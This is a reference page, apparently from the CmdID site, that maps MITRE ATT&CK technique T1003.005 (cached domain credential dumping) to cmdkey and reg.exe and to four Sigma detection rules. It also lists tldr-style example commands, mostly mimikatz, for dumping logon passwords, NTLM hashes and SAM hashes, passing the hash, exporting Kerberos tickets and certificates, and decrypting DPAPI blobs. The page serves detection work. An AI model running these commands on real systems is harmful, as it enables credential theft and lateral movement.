CmdID

CmdID / Techniques / T1003

T1003.005 OS Credential Dumping: Cached Domain Credentials

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable. MITRE ATT&CK

2 programs on CmdID 4 Sigma rules T1003.005 on attack.mitre.org

Part of

MITRE ATT&CK
T1003OS Credential Dumping

Programs for it

documented by LOLBAS and GTFOBins, or named by its rules
cmdkey.exeits Sigma rulesreg.exeits Sigma rules

Sigma rules tagged with it

process creation, the highest levels first
highDumping of Sensitive Hives Via Reg.EXETeymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community, frack113 · Windows
highHackTool - Mimikatz ExecutionTeymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton · Windows
highPotential Reconnaissance For Cached Credentials Via Cmdkey.EXEjmallette, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) · Windows
mediumNew Generic Credentials Added Via Cmdkey.EXEfrack113, Nasreddine Bencherchali (Nextron Systems) · Windows

Command lines CmdID reads as it

everyday examples from tldr-pages, CC BY 4.0

List all user credentials on the page for cmdkey.exe

cmdkey /listIdentify

Run mimikatz in interactive mode on the page for mimikatz

mimikatzIdentify

Enable debug privileges (needed for most operations) on the page for mimikatz

mimikatz "privilege::debug"Identify

Dump plaintext passwords, NTLM hashes, and Kerberos tickets from memory on the page for mimikatz

mimikatz "sekurlsa::logonpasswords"Identify

Pass-the-Hash with a specific NTLM hash and launch a command on the page for mimikatz

mimikatz "sekurlsa::pth /user:username /domain:domain /ntlm:hash /run:cmd"Identify

Dump local SAM database hashes on the page for mimikatz

mimikatz "lsadump::sam"Identify

Extract Kerberos tickets and export to a file on the page for mimikatz

mimikatz "kerberos::list /export"Identify

List cryptographic providers on the page for mimikatz-crypto

mimikatz "crypto::providers"Identify

List keys in a cryptographic provider on the page for mimikatz-crypto

mimikatz "crypto::capi"Identify

Export certificates and keys on the page for mimikatz-crypto

mimikatz "crypto::certificates /export"Identify

List master keys on the page for mimikatz-dpapi

mimikatz "dpapi::masterkey /list"Identify

Decrypt a DPAPI blob on the page for mimikatz-dpapi

mimikatz "dpapi::blob /in:blob_file.bin"Identify

And 30 more examples on CmdID’s program pages.

An example is here when CmdID’s reading of it names T1003.005: a Sigma rule it trips is tagged with it, or its abuse is documented as it.